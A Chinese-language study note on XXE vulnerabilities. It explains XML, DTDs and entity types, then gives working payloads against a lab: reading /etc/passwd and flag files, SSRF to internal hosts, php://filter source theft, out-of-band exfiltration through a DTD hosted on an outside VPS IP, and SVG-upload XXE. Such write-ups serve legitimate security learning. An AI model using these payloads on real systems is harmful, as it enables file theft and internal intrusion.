XXE学习总结

XXE学习总结

前言-关于XML

概念

XML(数据读取)是一种标记语言,用于存储和传输数据,标签无意义。

语法

1、标签没有功能性

2、xml标签必须闭合,层次分明,嵌套正确,对大小写敏感

3、xml文档必须有根元素

4、头声明可有可无

5、实体引用规则

image-20251021184302447

1
2
3
4
5
6
7
<?xml version="1.0"  encoding="utf-8"?>
<root>
<man>
<name>zhangsan</name>
<sex></sex>
</man>
</root>

使用php解析xml

simplexml_load_file()读取

1
2
3
4
<?php
$xml=simplexml_load_file("1.xml");
print_r($xml);
echo $xml->man[0]-name

DOMDocument读取

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$doc=new DOMDocument();
$str='<?xml version="1.0" encoding="utf-8"?>
<root>
<man><name>张三</name><age>2000</age>
</man>
<man><name>李四</name><age>2021</age>
</man>
</root>';
$doc->loadxml($str);
print_r($doc->saveXML());
?>

DTD声明介绍

DID(文档类型定义)用来定义我们自己定义的标记的含义。

DTD可被成行地声明于XML文档中,也可作为外部引用。

1
!DOCTYPE 定义约束  !ELEMENT 定义元素  !NOTATION 定义符号 !ENETITY 定义实体

DOCTYPE格式:

1
<!DOCTYPE 根元素 [元素声明]>

内部引入实体

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY company "OpenAI">
]>
<data>
<name>&company;</name>
</data>

外部引入实体

1
<!DOCTYPE root SYSTEM "1.dtd">

XML实体介绍

实体ENTITY是一种替换机制,用来在文档中引用外部或内部的内容。

1、内部通用实体

1
2
<!ENTITY compangy  "OpenAI">
<data>&file;</data>

2、外部通用实体

1
2
<!ENTITY  file SYSTEM "file:///etc/passwd">
<data>&file;</data>

3、参数实体(参数实体只能在DTD中使用,以%开头。)

1
2
<!ENTITY % external SYSTEM "file:///etc/passwd">
%external;>

4、未解析实体

这种实体用于引用非 XML 数据(如图片或二进制文件)
它们不会被解析器直接加载,而是用于告诉应用程序”这里有个外部二进制资源”。

1
<!ENTITY img SYSTEM "photo.jpg" NDATA jpg>

XXE漏洞利用

POC

1
2
3
4
5
6
<!DOCTYPE root [<!ENTITY ben SYSTEM "file:///etc/passwd">]>
<root>
<admin>
&ben;
</admin>
</root>

使用外部实体检索文件

1、查看源代码发现POST提交的数据会被解析为XML格式

image-20251119161550988

2、bp抓包也能发现

image-20251119161636203

3、随后通过外部实体利用php伪协议读取

1
2
3
4
5
6
7
8
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///E:/phpstudy_pro/WWW/xxe-lab/php_xxe/flag.txt" > #确保读取文件为绝对路径
]>
<user><username>
&file;
</username><password>
&file;
</password></user>

image-20251119163623981

参数实体和http协议利用

如果不允许进行file伪协议读取,那如何读取呢

image-20251119170228076

首先在vps起一个dtd

image-20251119165013581

确保可以正常访问

image-20251119165229975

随后编写poc

1
2
3
4
5
6
<!DOCTYPE note [<!ENTITY % dazhuang SYSTEM "http://47.96.99.165/1.dtd" > %dazhuang;]>
<user><username>
&file;
</username><password>
&file;
</password></user>

image-20251119170141220

最终发现成功读取

XXE实现SSRF

利用http伪协议访问内网

1
2
3
4
5
6
7
8
<!DOCTYPE note [
<!ENTITY file SYSTEM "http://10.1.2.3/" > #确保读取文件为绝对路径
]>
<user><username>
&file;
</username><password>
&file;
</password></user>

php伪协议读取源代码

有时候读取源代码没有回显,可以采用php伪协议base64编码读取

1
2
3
4
5
6
7
8
<!DOCTYPE note [
<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=http://10.1.2.3/?cmd=cat+index.php" >
]>
<user><username>
&file;
</username><password>
&file;
</password></user>

无回显XXE外带数据

image-20251119211306575

在vps上起一个web服务

写好外部DTD

image-20251119213404034

起web服务

image-20251119212307211

监听7777端口

image-20251119215009320

随后bp挂载POC

1
2
3
4
5
6
<!DOCTYPE note [<!ENTITY % dazhuang SYSTEM "http://47.96.99.165/1.dtd" > %dazhuang; %int; %send;]>
<user><username>
admin
</username><password>
password
</password></user>

最终发现vps成功得到回显

image-20251119215112752

svg文件上传实现XXE

poc

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///flag" >
]>
<svg height="100" width="1000">
<text x="10" y="20">&file;</text>
</svg>